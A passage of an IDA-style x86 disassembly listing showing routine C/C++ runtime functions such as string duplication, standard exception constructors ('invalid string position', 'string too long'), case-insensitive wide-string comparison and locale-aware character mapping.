movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_426452
movzx edx, al
test byte_4DC7E1[edx], 4
jz short loc_42643E
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_426449
movzx eax, ax
movzx edx, dl
shl eax, 8
or eax, edx
cmp [ebp+arg_4], eax
jz short loc_42644D
jmp short loc_426446
; ---------------------------------------------------------------------------
loc_42643E: ; CODE XREF: sub_4263F1+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_426452
loc_426446: ; CODE XREF: sub_4263F1+4Bj
inc ecx
jmp short loc_42640F
; ---------------------------------------------------------------------------
loc_426449: ; CODE XREF: sub_4263F1+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42644D: ; CODE XREF: sub_4263F1+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_426452: ; CODE XREF: sub_4263F1+25j
; sub_4263F1+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_4263F1 endp
; =============== S U B R O U T I N E =======================================
sub_426464 proc near ; CODE XREF: sub_417EEE+21p
; sub_42638A+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_42648B
push esi
call sub_41AFE0
inc eax
push eax
call sub_41B4D5
pop ecx
test eax, eax
pop ecx
jz short loc_42648B
push esi
push eax
call sub_41BEB0
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_42648B: ; CODE XREF: sub_426464+7j
; sub_426464+1Aj
xor eax, eax
pop esi
retn
sub_426464 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_426490 proc near ; CODE XREF: sub_426573+19p
; sub_42669A+19p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_41AFE0
pop ecx
push eax
push [esp+8+arg_0]
mov ecx, esi
call sub_40D6EF
mov eax, esi
pop esi
retn 8
sub_426490 endp
; =============== S U B R O U T I N E =======================================
sub_4264BA proc near ; CODE XREF: ___:004264E5p
; sub_426568+6j ...
push esi
mov esi, ecx
push 1
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D0C
call sub_40D6B3
mov ecx, esi
pop esi
jmp sub_4268B6
sub_4264BA endp
; =============== S U B R O U T I N E =======================================
sub_4264D5 proc near ; DATA XREF: ___:00427D10o
; ___:00427D20o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_4264E1
mov eax, offset dword_4276A8
locret_4264E1: ; CODE XREF: sub_4264D5+5j
retn
sub_4264D5 endp
; ---------------------------------------------------------------------------
loc_4264E2: ; DATA XREF: ___:off_427D0Co
push esi
mov esi, ecx
call sub_4264BA
test byte ptr [esp+8], 1
jz short loc_4264F8
push esi
call sub_41CC83
pop ecx
loc_4264F8: ; CODE XREF: ___:004264EFj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4264FE proc near ; CODE XREF: sub_426573+29p
mov eax, offset loc_426E32
call sub_41CC64
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427D28
call sub_42682F
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D0C
call sub_4265B0
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_427D1C
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4264FE endp
; =============== S U B R O U T I N E =======================================
sub_42654C proc near ; DATA XREF: ___:off_427D1Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426568
test [esp+4+arg_0], 1
jz short loc_426562
push esi
call sub_41CC83
pop ecx
loc_426562: ; CODE XREF: sub_42654C+Dj
mov eax, esi
pop esi
retn 4
sub_42654C endp
; =============== S U B R O U T I N E =======================================
sub_426568 proc near ; CODE XREF: sub_42654C+3p
; DATA XREF: ___:00428094o
mov dword ptr [ecx], offset off_427D1C
jmp sub_4264BA
sub_426568 endp
; =============== S U B R O U T I N E =======================================
sub_426573 proc near ; CODE XREF: sub_40D560+13p
; sub_40D724+Ep
mov eax, offset loc_426E44
call sub_41CC64
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp-20h]
call sub_426490
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4264FE
push offset dword_428090
lea eax, [ebp-3Ch]
push eax
call sub_4268D9
int 3 ; Trap to Debugger
sub_426573 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p
; sub_4265D0+32p ...
arg_0 = dword ptr 4
push esi
xor eax, eax
push 0FFFFFFFFh
mov esi, ecx
push eax
push [esp+0Ch+arg_0]
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_40D560
mov eax, esi
pop esi
retn 4
sub_4265B0 endp
; =============== S U B R O U T I N E =======================================
sub_4265D0 proc near ; CODE XREF: sub_42669A+29p
mov eax, offset loc_426E56
call sub_41CC64
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427D28
call sub_42682F
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D0C
call sub_4265B0
mov ecx, [ebp-0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4265D0 endp
; =============== S U B R O U T I N E =======================================
sub_426618 proc near ; CODE XREF: sub_426682+7p
; sub_4266DE+7p ...
mov eax, offset loc_426E68
call sub_41CC64
push ecx
push esi
push edi
mov edi, [ebp+8]
mov esi, ecx
push edi
mov [ebp-10h], esi
call sub_42686C
and dword ptr [ebp-4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D0C
call sub_4265B0
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_426618 endp
; =============== S U B R O U T I N E =======================================
sub_42665B proc near ; DATA XREF: ___:off_427D48o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426677
test [esp+4+arg_0], 1
jz short loc_426671
push esi
call sub_41CC83
pop ecx
loc_426671: ; CODE XREF: sub_42665B+Dj
mov eax, esi
pop esi
retn 4
sub_42665B endp
; =============== S U B R O U T I N E =======================================
sub_426677 proc near ; CODE XREF: sub_42665B+3p
; DATA XREF: ___:0042813Co
mov dword ptr [ecx], offset off_427D48
jmp sub_4264BA
sub_426677 endp
; =============== S U B R O U T I N E =======================================
sub_426682 proc near ; CODE XREF: sub_4266F6+46p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426618
mov dword ptr [esi], offset off_427D1C
mov eax, esi
pop esi
retn 4
sub_426682 endp
; =============== S U B R O U T I N E =======================================
sub_42669A proc near ; CODE XREF: sub_40D4B0+15p
; sub_40D509+15p ...
mov eax, offset loc_426E7A
call sub_41CC64
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aStringTooLong ; "string too long"
lea ecx, [ebp-20h]
call sub_426490
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4265D0
push offset dword_428138
lea eax, [ebp-3Ch]
push eax
mov dword ptr [ebp-3Ch], offset off_427D48
call sub_4268D9
int 3 ; Trap to Debugger
sub_42669A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4266DE proc near ; CODE XREF: sub_4266F6+28p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426618
mov dword ptr [esi], offset off_427D48
mov eax, esi
pop esi
retn 4
sub_4266DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4266F6 proc near ; DATA XREF: ___:00427D14o
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426618
push offset dword_428178
lea eax, [ebp+var_1C]
push eax
call sub_4268D9
int 3 ; Trap to Debugger
loc_426714: ; DATA XREF: ___:00427D50o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4266DE
push offset dword_428138
lea eax, [ebp+var_1C]
push eax
call sub_4268D9
int 3 ; Trap to Debugger
loc_426732: ; DATA XREF: ___:00427D24o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426682
push offset dword_428090
lea eax, [ebp+var_1C]
push eax
call sub_4268D9
int 3 ; Trap to Debugger
sub_4266F6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_426750 proc near
nop
jmp near ptr 71B2ACCBh
sub_426750 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_426756 proc near ; CODE XREF: sub_40CE40+5Ep
; ___:00414BE5p ...
nop
jmp near ptr 71AB1B7Bh
sub_426756 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42675C proc near ; CODE XREF: sub_41C8D0+23p
; sub_41CB74+13p
nop
jmp near ptr 282204Eh
sub_42675C endp
; =============== S U B R O U T I N E =======================================
sub_426762 proc near ; CODE XREF: sub_417275+E2p
; sub_417275+F9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp dword_4DB334, 0
push ebx
jnz short loc_4267A8
mov edx, [esp+4+arg_4]
mov ecx, [esp+4+arg_0]
loc_426774: ; CODE XREF: sub_426762+42j
mov bx, [ecx]
cmp bx, 5Ah
ja short loc_426786
cmp bx, 41h
jb short loc_426786
add ebx, 20h
loc_426786: ; CODE XREF: sub_426762+19j
; sub_426762+1Fj
mov ax, [edx]
cmp ax, 5Ah
ja short loc_426798
cmp ax, 41h
jb short loc_426798
add eax, 20h
loc_426798: ; CODE XREF: sub_426762+2Bj
; sub_426762+31j
inc ecx
inc ecx
inc edx
inc edx
test bx, bx
jz short loc_4267D8
cmp bx, ax
jz short loc_426774
jmp short loc_4267D8
; ---------------------------------------------------------------------------
loc_4267A8: ; CODE XREF: sub_426762+8j
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
loc_4267B2: ; CODE XREF: sub_426762+72j
mov ax, [esi]
inc esi
push eax
inc esi
call sub_426913
mov ebx, eax
mov ax, [edi]
inc edi
push eax
inc edi
call sub_426913
pop ecx
test bx, bx
pop ecx
jz short loc_4267D6
cmp bx, ax
jz short loc_4267B2
loc_4267D6: ; CODE XREF: sub_426762+6Dj
pop edi
pop esi
loc_4267D8: ; CODE XREF: sub_426762+3Dj
; sub_426762+44j
movzx ecx, ax
movzx eax, bx
sub eax, ecx
pop ebx
retn
sub_426762 endp
; =============== S U B R O U T I N E =======================================
sub_4267E2 proc near ; CODE XREF: ___:004267FAp
mov dword ptr [ecx], offset off_427D68
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_4267F6
push ecx
call sub_41B0B1
pop ecx
locret_4267F6: ; CODE XREF: sub_4267E2+Bj
retn
sub_4267E2 endp
; ---------------------------------------------------------------------------
loc_4267F7: ; DATA XREF: ___:off_427D68o
push esi
mov esi, ecx
call sub_4267E2
test byte ptr [esp+8], 1
jz short loc_42680D
push esi
call sub_41CC83
pop ecx
loc_42680D: ; CODE XREF: ___:00426804j
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_426813: ; DATA XREF: ___:off_427D70o
push esi
mov esi, ecx
call sub_4268B6
test byte ptr [esp+8], 1
jz short loc_426829
push esi
call sub_41CC83
pop ecx
loc_426829: ; CODE XREF: ___:00426820j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_42682F proc near ; CODE XREF: sub_4264FE+1Dp
; sub_4265D0+1Dp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427D70
push dword ptr [edi]
call sub_41AFE0
inc eax
push eax
call sub_41CFC5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42685E
push dword ptr [edi]
push eax
call sub_41BEB0
pop ecx
pop ecx
loc_42685E: ; CODE XREF: sub_42682F+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_42682F endp
; =============== S U B R O U T I N E =======================================
sub_42686C proc near ; CODE XREF: sub_426618+16p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427D70
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_4268A9
push dword ptr [edi+4]
call sub_41AFE0
inc eax
push eax
call sub_41CFC5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_4268AF
push dword ptr [edi+4]
push eax
call sub_41BEB0
pop ecx
pop ecx
jmp short loc_4268AF
; ---------------------------------------------------------------------------
loc_4268A9: ; CODE XREF: sub_42686C+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_4268AF: ; CODE XREF: sub_42686C+2Ej
; sub_42686C+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_42686C endp
; =============== S U B R O U T I N E =======================================
sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j
; ___:00426816p ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_427D70
jz short locret_4268CB
push dword ptr [ecx+4]
call sub_41CC83
pop ecx
locret_4268CB: ; CODE XREF: sub_4268B6+Aj
retn
sub_4268B6 endp
; =============== S U B R O U T I N E =======================================
sub_4268CC proc near ; DATA XREF: ___:00427D74o
mov eax, [ecx+4]
test eax, eax
jnz short locret_4268D8
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_4268D8: ; CODE XREF: sub_4268CC+5j
retn
sub_4268CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4268D9 proc near ; CODE XREF: sub_426573+37p
; sub_42669A+3Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_427D90
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
call near ptr 26403E9h
nop
pop edi
pop esi
leave
retn 8
sub_4268D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426913 proc near ; CODE XREF: sub_426762+56p
; sub_426762+63p
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp ax, 0FFFFh
jnz short loc_426925
or ax, ax
leave
retn
; ---------------------------------------------------------------------------
loc_426925: ; CODE XREF: sub_426913+Bj
cmp dword_4DB334, 0
jnz short loc_42693F
cmp ax, 41h
jb short locret_426986
cmp ax, 5Ah
ja short locret_426986
add eax, 20h
leave
retn
; ---------------------------------------------------------------------------
loc_42693F: ; CODE XREF: sub_426913+19j
cmp ax, 100h
jnb short loc_426959
push 1
push eax
call sub_426BC1
pop ecx
test eax, eax
pop ecx
jnz short loc_426959
mov ax, word ptr [ebp+arg_0]
leave
retn
; ---------------------------------------------------------------------------
loc_426959: ; CODE XREF: sub_426913+30j
; sub_426913+3Ej
push 0
lea eax, [ebp+var_2]
push 1
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 100h
push dword_4DB334
call sub_426988
add esp, 1Ch
test eax, eax
mov ax, word ptr [ebp+arg_0]
jz short locret_426986
mov ax, [ebp+var_2]
locret_426986: ; CODE XREF: sub_426913+1Fj
; sub_426913+25j ...
leave
retn
sub_426913 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426988 proc near ; CODE XREF: sub_426913+5Fp
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427DB0
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor esi, esi
cmp dword_4DB58C, esi
jnz short loc_4269FE
push esi
push esi
push 1
pop ebx
push ebx
push offset dword_427940
mov edi, 100h
push edi
push esi
call near ptr 2630000h
nop
test eax, eax
jz short loc_4269DC
mov dword_4DB58C, ebx
jmp short loc_4269FE
; ---------------------------------------------------------------------------
loc_4269DC: ; CODE XREF: sub_426988+4Aj
push esi
push esi
push ebx
push offset dword_4CAE2C
push edi
push esi
call near ptr 2631138h
nop
test eax, eax
jz loc_426B7D
mov dword_4DB58C, 2
loc_4269FE: ; CODE XREF: sub_426988+2Ej
; sub_426988+52j
cmp [ebp+arg_C], esi
jle short loc_426A13
push [ebp+arg_C]
push [ebp+arg_8]
call sub_426B91
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_426A13: ; CODE XREF: sub_426988+79j
mov eax, dword_4DB58C
cmp eax, 1
jnz short loc_426A3A
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2630000h
jmp loc_426B7F
; ---------------------------------------------------------------------------
loc_426A3A: ; CODE XREF: sub_426988+93j
cmp eax, 2
jnz loc_426B7D
cmp [ebp+arg_18], esi
jnz short loc_426A50
mov eax, dword_4DB344
mov [ebp+arg_18], eax
loc_426A50: ; CODE XREF: sub_426988+BEj
push esi
push esi
push esi
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
call near ptr 27E1001h
nop
mov [ebp+var_20], eax
cmp eax, esi
jz loc_426B7D
mov [ebp+var_4], esi
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_1C], eax
jmp short loc_426A96
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
mov [ebp+var_1C], esi
loc_426A96: ; CODE XREF: sub_426988+100j
or [ebp+var_4], 0FFFFFFFFh
cmp [ebp+var_1C], esi
jz loc_426B7D
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
call near ptr 27E1001h
nop
test eax, eax
jz loc_426B7D
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2631138h
mov edi, eax
mov [ebp+var_2C], edi
cmp edi, esi
jz loc_426B7D
mov [ebp+var_4], 1
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_426B19
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+var_2C]
loc_426B19: ; CODE XREF: sub_426988+17Dj
cmp ebx, esi
jz short loc_426B7D
push edi
push ebx
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2631138h
test eax, eax
jz short loc_426B7D
test byte ptr [ebp+arg_4+1], 4
jz short loc_426B57
mov eax, [ebp+arg_14]
cmp eax, esi
jz short loc_426B79
cmp eax, edi
jl short loc_426B48
mov eax, edi
loc_426B48: ; CODE XREF: sub_426988+1BCj
push eax
push ebx
push [ebp+arg_10]
call sub_41B5F0
add esp, 0Ch
jmp short loc_426B79
; ---------------------------------------------------------------------------
loc_426B57: ; CODE XREF: sub_426988+1B1j
cmp [ebp+arg_14], esi
jnz short loc_426B60
push esi
push esi
jmp short loc_426B66
; ---------------------------------------------------------------------------
loc_426B60: ; CODE XREF: sub_426988+1D2j
push [ebp+arg_14]
push [ebp+arg_10]
loc_426B66: ; CODE XREF: sub_426988+1D6j
push edi
push ebx
push 1
push [ebp+arg_18]
call near ptr 27F0000h
nop
mov edi, eax
cmp edi, esi
jz short loc_426B7D
loc_426B79: ; CODE XREF: sub_426988+1B8j
; sub_426988+1CDj
mov eax, edi
jmp short loc_426B7F
; ---------------------------------------------------------------------------
loc_426B7D: ; CODE XREF: sub_426988+66j
; sub_426988+B5j ...
xor eax, eax
loc_426B7F: ; CODE XREF: sub_426988+ADj
; sub_426988+1F3j
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_426988 endp
; =============== S U B R O U T I N E =======================================
sub_426B91 proc near ; CODE XREF: sub_426988+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_426BB0
loc_426BA1: ; CODE XREF: sub_426B91+1Dj
cmp word ptr [eax], 0
jz short loc_426BB0
inc eax
mov esi, ecx
inc eax
dec ecx
test esi, esi
jnz short loc_426BA1
loc_426BB0: ; CODE XREF: sub_426B91+Ej
; sub_426B91+14j
cmp word ptr [eax], 0
pop esi
jnz short loc_426BBE
sub eax, [esp+arg_0]
sar eax, 1
retn
; ---------------------------------------------------------------------------
loc_426BBE: ; CODE XREF: sub_426B91+24j
mov eax, edx
retn
sub_426B91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426BC1 proc near ; CODE XREF: sub_426913+35p
var_4 = dword ptr -4
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFh
jz short loc_426C01
cmp [ebp+arg_0], 100h
jnb short loc_426BE5
movzx eax, [ebp+arg_0]
mov ecx, off_43C2FC
mov ax, [ecx+eax*2]
jmp short loc_426C08
; ---------------------------------------------------------------------------
loc_426BE5: ; CODE XREF: sub_426BC1+12j
push 0
lea eax, [ebp+var_4]
push 0
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 1
call sub_426C13
add esp, 18h
test eax, eax
jnz short loc_426C05
loc_426C01: ; CODE XREF: sub_426BC1+Aj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_426C05: ; CODE XREF: sub_426BC1+3Ej
mov eax, [ebp+var_4]
loc_426C08: ; CODE XREF: sub_426BC1+22j
movzx ecx, [ebp+arg_4]
movzx eax, ax
and eax, ecx
leave
retn
sub_426BC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426C13 proc near ; CODE XREF: sub_426BC1+34p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427DC8
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DB590
xor edi, edi
cmp eax, edi
jnz short loc_426C82
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427940
push esi
nop
call near ptr 25F0528h
test eax, eax
jz short loc_426C60
mov eax, esi
jmp short loc_426C7D
; ---------------------------------------------------------------------------
loc_426C60: ; CODE XREF: sub_426C13+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_4CAE2C
push esi
push edi
call near ptr 2600000h
nop
test eax, eax
jz loc_426DC4
push 2
pop eax
loc_426C7D: ; CODE XREF: sub_426C13+4Bj
mov dword_4DB590, eax
loc_426C82: ; CODE XREF: sub_426C13+2Fj
cmp eax, 1
jnz short loc_426C9E
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 25F0528h
jmp loc_426DC6
; ---------------------------------------------------------------------------
loc_426C9E: ; CODE XREF: sub_426C13+72j
cmp eax, 2
jnz loc_426DC4
cmp [ebp+arg_10], edi
jnz short loc_426CB4
mov eax, dword_4DB344
mov [ebp+arg_10], eax
loc_426CB4: ; CODE XREF: sub_426C13+97j
push edi
push edi
push edi
push edi
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
call near ptr 27E1001h
nop
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz loc_426DC4
mov [ebp+var_4], edi
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_2C], eax
push esi
push edi
push eax
call sub_41B590
add esp, 0Ch
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_426D12
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_2C], edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_426D12: ; CODE XREF: sub_426C13+EAj
cmp [ebp+var_2C], edi
jz loc_426DC4
push edi
push edi
push esi
push [ebp+var_2C]
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
nop
call near ptr 27E1001h
test eax, eax
jz loc_426DC4
mov [ebp+var_4], 1
lea eax, [esi+esi+2]
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
jmp short loc_426D67
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
loc_426D67: ; CODE XREF: sub_426C13+147j
or [ebp+var_4], 0FFFFFFFFh
cmp ebx, edi
jz short loc_426DC4
mov eax, [ebp+arg_14]
cmp eax, edi
jnz short loc_426D7B
mov eax, dword_4DB334
loc_426D7B: ; CODE XREF: sub_426C13+161j
mov ecx, [ebp+arg_8]
lea edi, [ecx+ecx]
lea esi, [edi+ebx]
or word ptr [esi], 0FFFFh
or word ptr [esi-2], 0FFFFh
push ebx
push [ebp+var_28]
push [ebp+var_2C]
push [ebp+arg_0]
push eax
nop
call near ptr 2600000h
mov [ebp+var_20], eax
cmp word ptr [esi-2], 0FFFFh
jz short loc_426DC4
cmp word ptr [esi], 0FFFFh
jnz short loc_426DC4
push edi
push ebx
push [ebp+arg_C]
call sub_41CC90
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_426DC6
; ---------------------------------------------------------------------------
loc_426DC4: ; CODE XREF: sub_426C13+61j
; sub_426C13+8Ej ...
xor eax, eax
loc_426DC6: ; CODE XREF: sub_426C13+86j
; sub_426C13+1AFj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_426C13 endp
; =============== S U B R O U T I N E =======================================
sub_426DD8 proc near ; DATA XREF: ___:00427F7Co
; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_40D4A8
sub_426DD8 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_426DF6
mov ecx, [ebp+8]
jmp loc_40D4A8
; ---------------------------------------------------------------------------
locret_426DF6: ; CODE XREF: ___:00426DE8j
retn
; ---------------------------------------------------------------------------
loc_426DF7: ; DATA XREF: sub_40D07Co
mov eax, offset dword_427F50
jmp loc_41C91F
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+14h]
jmp loc_40D4A8
; ---------------------------------------------------------------------------
loc_426E0C: ; DATA XREF: ___:00427FACo
lea ecx, [ebp-1Ch]
jmp loc_40D4A8
; ---------------------------------------------------------------------------
loc_426E14: ; DATA XREF: sub_40D21Eo
mov eax, offset dword_427F80
jmp loc_41C91F
; ---------------------------------------------------------------------------
align 10h
loc_426E20: ; DATA XREF: sub_40D78Bo
mov eax, offset dword_427FB0
jmp loc_41C91F
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_4268B6
; ---------------------------------------------------------------------------
loc_426E32: ; DATA XREF: sub_4264FEo
mov eax, offset dword_428010
jmp loc_41C91F
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D4A8
; ---------------------------------------------------------------------------
loc_426E44: ; DATA XREF: sub_426573o
mov eax, offset dword_4280A8
jmp loc_41C91F
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_4268B6
; ---------------------------------------------------------------------------
loc_426E56: ; DATA XREF: sub_4265D0o
